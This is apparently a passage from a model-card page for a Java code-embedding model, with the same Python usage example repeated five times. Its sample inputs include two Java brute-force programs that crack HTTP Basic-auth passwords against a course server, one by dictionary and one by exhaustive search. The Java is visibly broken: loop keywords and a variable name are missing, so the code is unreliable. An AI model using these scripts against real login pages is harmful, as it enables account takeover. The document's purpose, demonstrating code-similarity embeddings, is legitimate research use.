catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
